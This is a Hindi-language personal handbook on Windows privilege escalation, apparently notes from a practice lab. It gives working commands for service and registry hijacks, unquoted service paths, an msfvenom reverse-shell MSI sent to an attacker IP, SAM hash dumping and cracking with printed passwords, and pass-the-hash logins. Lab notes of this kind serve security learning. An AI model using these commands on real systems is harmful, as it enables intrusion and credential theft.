
विंडोज़ विशेषाधिकार वृद्धि (Privilege Escalation) अवधारणाओं के लिए मेरी हैंडबुक। मेरी प्लेलिस्ट ज़रूर देखें, लिंक: https://www.youtube.com/playlist?list=PLlrnAg4kKF3puXLI0JyltbNJOC2R2HVFk
ध्यान देने योग्य एक महत्वपूर्ण बात है Groups, Administrator समूह का कोई भी उपयोगकर्ता हमें एस्केलेट करने में मदद करता है!
whoami /priv - वर्तमान उपयोगकर्ता के विशेषाधिकारnet users - सभी उपयोगकर्ताओं की सूचीnet user <username> - किसी विशिष्ट उपयोगकर्ता का विवरणqwinsta - अन्य उपयोगकर्ता जो एक साथ लॉग इन हैंnet localgroup - सिस्टम में उपलब्ध समूहnet localgroup <group-name> - किसी विशिष्ट समूह के सदस्यों की सूचीsysteminfo - OS के बारे में सभी जानकारी देता हैhostname - सिस्टम का होस्टनामfindstr /si password *.txt - हम उन फ़ाइलों की तलाश कर रहे हैं जिनमें 'password' शामिल है, वह भी टेक्स्ट फ़ाइलों मेंwmic qfe get Caption,Description,HotFixID,InstalledOn - यह सुरक्षा पैच और संबंधित जानकारी के बारे में बताता हैnetstat -ano - मशीन से जुड़े कनेक्शनschtasks /query /fo LIST /v - किसी भी निर्धारित कार्य को देखने के लिएsysteminfo उपकरण के आउटपुट की एक कॉपी अपनी मशीन पर रखें और यही इस उपकरण के लिए एकमात्र आवश्यकता हैwmic product get name,version,vendor - यह उत्पाद का नाम, संस्करण और विक्रेता देता है। यह विशेष कमांड हमें जो चाहिए उसका उचित दृश्य प्रदान करता है।wmic service list brief | findstr "Running" का उपयोग करें और सेवा के बारे में अधिक जानकारी प्राप्त करने के लिए sc qc <ServiceName> का उपयोग करेंpost/multi/recon/local_exploit_suggester नामक मॉड्यूल चलाएँ, सुनिश्चित करें कि आपका सेशन बैकग्राउंड में है ताकि यह टूल ठीक से काम करे या आप इसे meterpreter से भी लोड कर सकते हैं।winpeas.exe --help चलाकर सभी विकल्प देखेंsysteminfo कमांड चलाकर सिस्टम की जानकारी प्राप्त करें और उसे किसी फ़ाइल में कॉपी करें तथा उसे .txt एक्सटेंशन के साथ नाम देंयहाँ हम असुरक्षित अनुमतियों वाली सेवाओं की पहचान करने की कोशिश करेंगे और फिर उन्हें एक्सप्लॉइट करने का प्रयास कर सकते हैं।
यहाँ हम winpeas.exe servicesinfo कमांड का उपयोग कर सकते हैं और उन सेवाओं को देख सकते हैं जो काफी सहायक होती हैं
आउटपुट का एक दिलचस्प हिस्सा इस प्रकार है,```
daclsvc(DACL Service)["C:\Program Files\DACL Service\daclservice.exe"] - Manual - Stopped YOU CAN MODIFY THIS SERVICE: ChangeConfig
- लेकिन अधिक जानकारी प्राप्त करने के लिए हम **accesschk** नामक एक टूल का उपयोग कर सकते हैं जो Microsoft द्वारा है, इसे इस प्रकार चलाएँ `accesschk.exe /accepteula -uwcqv <current-user> <service>`, आउटपुट है,```
C:\PrivEsc>accesschk.exe /accepteula -uwcqv user daclsvc
daclsvc
SERVICE_QUERY_STATUS
SERVICE_QUERY_CONFIG
SERVICE_CHANGE_CONFIG
SERVICE_INTERROGATE
SERVICE_ENUMERATE_DEPENDENTS
SERVICE_START
SERVICE_STOP
READ_CONTROL
service_change_config है जहाँ हम सेवा का कॉन्फ़िगरेशन बदल सकते हैं।sc qc <service> चलाएँ और फिर Binary_path_name (इसे binpath भी कहा जाता है) नोट करें, जिसे हम बदलने वाले हैं (बुरी मुस्कान)sc config <service> <option>="<value>"sc config daclsvc binpath="<path>" चलाएँ और फिर सेवा शुरू करें sc start daclsvcVulnerable Service: C:\Program Files\Ignite Data\Vuln Service\file.exe
The system will read this path in the following sequence from 1 to 4 to trigger malicous.exe through a writeable directory.
C:\Program.exe C:\Program Files\Ignite.exe C:\Program Files\Ignite Data\Vuln.exe C:\Program Files\Ignite Data\Vuln Service\file.exe
- अधिक जानकारी प्राप्त करने के लिए बस **WinPEAS** स्क्रिप्ट का उपयोग `servicesinfo` विकल्प के साथ करें, यहाँ हम देख सकते हैं कि क्या हम किसी **Unquoted Service Path** का शोषण कर सकते हैं, यहाँ मैंने टूल चलाया और आउटपुट का दिलचस्प हिस्सा इस प्रकार है,```
unquotedsvc(Unquoted Path Service)[C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe] - Manual - Stopped - No quotes and Space detected
sc qc <service> का उपयोग करेंC:\Program Files\Unquoted Path Service की अनुमति को accesschk का उपयोग करके जाँचें, इसलिए accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service" चलाएँ। आउटपुट:```
accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service"
C:\Program Files\Unquoted Path Service
Medium Mandatory Level (Default) [No-Write-Up]
RW BUILTIN\Users
RW NT SERVICE\TrustedInstaller
RW NT AUTHORITY\SYSTEM
RW BUILTIN\Administrators- हमारे पास पढ़ने और लिखने की अनुमति है।
- अब हम एक पेलोड बनाएंगे और उसे `C:\Program Files\Unquoted Path Service` में पेस्ट करेंगे, `copy reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe"` के माध्यम से, यहाँ मैं एक अलग नाम से नामकरण कर रहा हूँ जिसका वर्णानुक्रम (alphabetical order) के साथ भी कुछ लाभ है।
- अब सेवा शुरू करें, `sc start unquotedsvc`, हम एडमिन हैं!!!
-----------------------
### कमजोर रजिस्ट्री अनुमतियाँ (Weak Registry Permissions):
- यहाँ हम कमजोर रजिस्ट्री अनुमतियों वाली सेवाओं का फायदा उठाने की कोशिश करेंगे।
- खोजने के लिए हमें `Winpeas` का उपयोग `servicesinfo` विकल्प के साथ करना होगा। आउटपुट कुछ इस प्रकार दिखता है।```
���������� Looking if you can modify any service registry
� Check if you can modify the registry of a service https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services-registry-permissions
HKLM\system\currentcontrolset\services\regsvc (Interactive [FullControl])
अब हम सेवा का नाम लेते हैं जो regsvc है, तो आइए इस सेवा के बारे में गहराई से जानें, इसलिए sc qc regsvc चलाएँ और आउटपुट है,```
sc qc regsvc
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: regsvc TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 3 DEMAND_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : "C:\Program Files\Insecure Registry Service\insecureregistryservice.exe" LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Insecure Registry Service DEPENDENCIES : SERVICE_START_NAME : LocalSystem
- एक अच्छी बात यह है कि पथ कोट्स में है इसलिए **Unquoted Service Path** नहीं है।
- अब `accesschk.exe` चलाते हैं और गहराई से जांचते हैं, इसलिए `accesschk /acceptula -uvwqk <path of registry>` चलाएँ (जो `HKLM\system\currentcontrolset\services\regsvc` है)
- आउटपुट में `RW NT AUTHORITY\INTERACTIVE(KEY_ALL_ACCESS)` देखें और अब हम exploit करने के लिए तैयार हैं।
- अब `reg query HKLM\system\currentcontrolset\services\regsvc` का उपयोग करके रजिस्ट्री के विकल्प देखते हैं और मुझे `ImagePath` नामक एक विकल्प मिला जो executable मान लेता है, तो चलिए इसका exploit करते हैं। सबसे पहले एक reverse-shell बनाएँ।
- अब `reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f` चलाएँ, अपनी आवश्यकता के अनुसार payload का पथ चुनें।
- अब सेवा चलाएँ, `net start regsvc` और हुर्रे! मुझे shell मिल गया।
-----------------------
### असुरक्षित सेवा एक्ज़ीक्यूटेबल:
- यहाँ सेवा की फ़ाइल अनुमतियाँ सभी के लिए सुलभ हैं! हम सेवा के एक्ज़ीक्यूटेबल को बदलने की कोशिश करते हैं और हम तैयार हैं!
- चलिए **Winpeas** को विशेष रूप से **servicesinfo** मॉड्यूल के साथ चलाते हैं और देखते हैं कि कुछ दिलचस्प है, और आउटपुट है,```
filepermsvc(File Permissions Service)["C:\Program Files\File Permissions Service\filepermservice.exe"] - Manual - Stopped
File Permissions: Everyone [AllAccess]
filepermsvc के लिए फ़ाइल तक पहुंच है, इसलिए हम एक reverse_shell पेलोड बनाएंगे और उसे सेवा के एक्ज़ीक्यूटेबल के साथ बदल देंगे और हमें शेल मिल जाएगा।reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run चलाकर जांच सकते हैं - यह ऑटोरन प्रोग्राम और उनके पथ प्रदर्शित करेगा।हमें 2 प्रोग्राम पाथ के साथ मिले हैं तो चलिए टेस्ट करते हैं।
- अब हम **accesscheck** चलाएँगे ताकि पता चले कि इन ऑटोरन्स के फ़ाइल-पाथ पर कौन-सी अनुमतियाँ उपलब्ध हैं
- बस `accesschk.exe \accepteula -wvu "<path>"` चलाएँ, मैंने इसे **My Program** ऑटोरन के पाथ के लिए चलाया और आउटपुट में `FILE_ALL_ACCESS` दिखा, तो हम इस फ़ोल्डर में शाब्दिक रूप से कुछ भी कर सकते हैं। मुख्य रूप से हम मूल एक्ज़ीक्यूटेबल को बदल सकते हैं और सिस्टम को रीस्टार्ट कर सकते हैं और हमें शेल मिल सकता है।
- नहीं, हमें एडमिन लॉगिन तक इंतज़ार करना होगा और हमें विशेषाधिकार प्राप्त उपयोगकर्ता के रूप में शेल मिलेगा!
- यहाँ मुख्य बात यह है कि हमें एडमिन/मालिक के लॉगिन तक इंतज़ार करना होगा वरना हम आगे बढ़ने के लिए तैयार हैं!
------------------------------
### AlwaysInstallElevated
- यह सामान्य उपयोगकर्ता को प्रशासनिक विशेषाधिकारों के साथ **msi**(Microsoft Installer) इंस्टॉल करने की अनुमति देता है।
- यह उच्च विशेषाधिकार प्राप्त करने का एक शानदार और आसान तरीका है,
- हम इसे चलाकर जाँच सकते हैं,
`reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
` और
`reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
`
- इन दोनों कमांड्स को चलाएँ और **AlwaysInstallElevated** का मान 1 या 0x1 होना चाहिए। ताकि हम पुष्टि कर सकें और आगे बढ़ सकें।
- अब **msi** प्रारूप का रिवर्स-शेल बनाएँ, संदर्भ के लिए नीचे दिए गए कमांड को देखें,
`msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.13.39.50 LPORT=4444 --platform windows -f msi > reverse.msi`
- अब उसे विंडोज़ मशीन पर ट्रांसफर करें और कमांड चलाएँ,
`msiexec /quiet /qn /i reverse.msi`
- वाह! हमें `nt authority\system` के रूप में शेल मिल गया
------------------
-------------------
## पासवर्ड्स:
- यहाँ हम रजिस्ट्री, फ़ाइलों आदि में क्रेडेंशियल्स देखते हैं
- और हम लॉगिन करने का प्रयास करेंगे!
----------------------
### रजिस्ट्री में पासवर्ड खोजना:
- हम रजिस्ट्री में पासवर्ड खोज सकते हैं, कभी-कभी हमें अन्य उपयोगकर्ताओं के पासवर्ड या यहाँ तक कि मालिक का पासवर्ड भी मिल सकता है।
- `reg query HKLM /f password /t REG_SZ /s` चलाएँ, यह रजिस्ट्री में सभी विवरण देता है जिसमें **password** स्ट्रिंग होती है, खोजें और आपको वह मिल सकता है! लेकिन दुखद बात यह है कि मैं कुछ भी प्राप्त नहीं कर सका!
- साथ ही `reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon"
` चलाएँ, हमें कुछ जानकारी मिल सकती है।
- हम अपने प्रसिद्ध टूल **winPEAS** का भी उपयोग कर सकते हैं, इसे कुछ विकल्पों के साथ चलाएँ जैसे `windowscreds` - क्रेडेंशियल्स खोजता है, और `filesinfo` - फ़ाइलों और रजिस्ट्री में उपयोगी डेटा(कभी-कभी पासवर्ड भी) देखता है
- पासवर्ड प्राप्त करने के बाद यहाँ यह `password123` है, तो अब चलिए **psexec**(लिंक: https://github.com/SecureAuthCorp/impacket/blob/master/examples/psexec.py) की मदद से लॉगिन करते हैं और सिंटैक्स है `python3 psexec.py [email protected]`, फिर यह पासवर्ड माँगेगा, इसे बताएँ और हमें एडमिन की तरह एक्सेस मिल जाएगा!
-------------------------
### पासवर्ड्स : Savedcreds
- सबसे पहले `cmdkey /list` चलाएँ, यहाँ **cmdkey** एक विंडोज़-सर्वर एप्लिकेशन है जो *संग्रहीत उपयोगकर्ता नाम और पासवर्ड या क्रेडेंशियल्स बनाता, सूचीबद्ध करता और हटाता है*। इसे चलाकर हम देख सकते हैं कि उपयोगकर्ताओं के कौन-कौन से क्रेडेंशियल्स सहेजे गए हैं!
- आउटपुट है,```
Currently stored credentials:
Target: WindowsLive:target=virtualapp/didlogical
Type: Generic
User: 02nfpgrklkitqatu
Local machine persistence
Target: Domain:interactive=WIN-QBA94KB3IOF\admin
Type: Domain Password
User: WIN-QBA94KB3IOF\admin
runas /savecred /user:admin C:\Temp\reverse.exe चलाते हैं, यह हमें एडमिन विशेषाधिकार देगाC:\Windows\Repair निर्देशिका में SAM फ़ाइल की एक प्रति बनाई है, ताकि हम खेल सकें! यहाँ उस निर्देशिका में 2 फ़ाइलें हैं, अर्थात्, SAM और SYSTEMdownload कमांड की मदद से प्राप्त कियाpython2 pwdump.py /opt/work/SYSTEM /opt/work/SAM, यह अब विंडोज़ मशीन पर उपलब्ध उपयोगकर्ताओं के हैश प्रदर्शित करेगा। आउटपुट है,```
Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:6ebaa6d5e6e601996eefe4b6048834c2:::
user:1000:aad3b435b51404eeaad3b435b51404ee:91ef1073f6ae95f5ea6ace91c09a963a:::
admin:1001:aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da:::- अब उपरोक्त सामग्री को एक टेक्स्ट फ़ाइल में सहेजें और अब इसे **JohnTheRipper** की सहायता से क्रैक करें, सिंटैक्स है `john --format=NT hashes.txt --wordlist=/usr/share/wordlist/rockyou.txt`, और यह क्रैक हो गया!```
password123 (admin)
password321 (user)
Passw0rd! (Administrator)
a9fdfa038c4b75ebc76dc855dd74f0da हैexport SMBHASH=aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da यहाँ हम groupid के साथ भी हैश का उपयोग कर रहे हैंpth-winexe -U admin% //10.10.213.97 cmd.exe चलाएं, मुझे admin के रूप में शेल मिलाpth-winexe kali में पहले से उपलब्ध है।schtasks /query /fo LIST /V चलाएँCleanUp.ps1 दिलचस्प लग रहा है और पथ है C:\DevTools\CleanUp.ps1accesschk.exe /accepteula -quvw user C:\DevTools\CleanUp.ps1 और हमारे पास पढ़ने, लिखने...आदि की सभी अनुमतियाँ हैं- फिर मैंने ट्रांसफर किया और `CleanUp.ps1` के रूप में नाम बदला और मुझे कनेक्शन मिल गया।
--------------------
---------------------
## असुरक्षित GUI ऐप्स:
- RDP कनेक्शन मिलने के बाद `Taskmanager` खोलें और वहाँ `Details` टैब में हम उन एप्लिकेशन और उपयोगकर्ता को देख सकते हैं, जो इसे चला रहा है।
- यहाँ उन्होंने जानबूझकर `mspaint.exe` को admin के रूप में चलाने के लिए कॉन्फ़िगर किया है, इसलिए यह हमारा लक्ष्य होगा।
- चूँकि हम **Paint** के साथ काम कर रहे हैं, हमारे पास फ़ाइलें खोलने का विकल्प होगा, इसलिए हम `file://c:/windows/system32/cmd.exe` खोलेंगे और धमाका! हमें **admin** उपयोगकर्ता के रूप में shell मिल जाता है!
- यहाँ कार्यक्षमता थोड़ी सीमित है क्योंकि हमें हमेशा RDP कनेक्शन नहीं मिल सकता।
-----------------------
----------------------
## स्टार्टअप ऐप्स:
- विंडोज़ में एक फीचर होता है जो कुछ ऐप्स को स्टार्टअप में चलाने की अनुमति देता है, हम इस फीचर का दुरुपयोग कर सकते हैं।
- स्टार्टअप ऐप्स `C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp` में मिलते हैं, यह डिफ़ॉल्ट पथ है।
- आइए देखें कि हम **accesschk.exe** के माध्यम से क्या कर सकते हैं, इसलिए `accesschk.exe /accepteula -d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"` चलाएँ। आउटपुट है,```
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
Medium Mandatory Level (Default) [No-Write-Up]
RW BUILTIN\Users
RW WIN-QBA94KB3IOF\Administrator
RW WIN-QBA94KB3IOF\admin
RW NT AUTHORITY\SYSTEM
RW BUILTIN\Administrators
R Everyone
CreateShortcut.vbs कहा जाता है जो एडमिन विशेषाधिकारों के साथ चलती है और इसका मुख्य उद्देश्य उस रिवर्स-शेल के लिए एक shortcut बनाना है जिसे हमने अपलोड किया था।list_tokens -u चलाकर देख सकते हैं, वह भी meterpreter सेशन में, बाद में कुछ अच्छा टोकन मिलने पर impersonate_token <name of token> चलाएँ।whomai /priv चला सकते हैं और हम वर्तमान उपयोगकर्ता के विशेषाधिकार देख सकते हैं, वहाँ यदि हमें SeAssignPrimaryToken...आदि जैसा कोई विशेषाधिकार मिले, जो काफी खतरनाक होते हैं, यह बहुत खतरनाक है! इन विशेषाधिकारों के बारे में और इन्हें कैसे एक्सप्लॉइट करें, यह जानने के लिए यह लेख देखें: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#eop---impersonation-privilegesNT Authority/System जैसी एक्सेस प्राप्त करने की कोशिश करते हैं।
[अभी भी प्रगति पर.....]driverquery - ड्राइवर से संबंधित जानकारी की सूचीsc query windefend - एंटीवायरस सेवा की जाँच करता है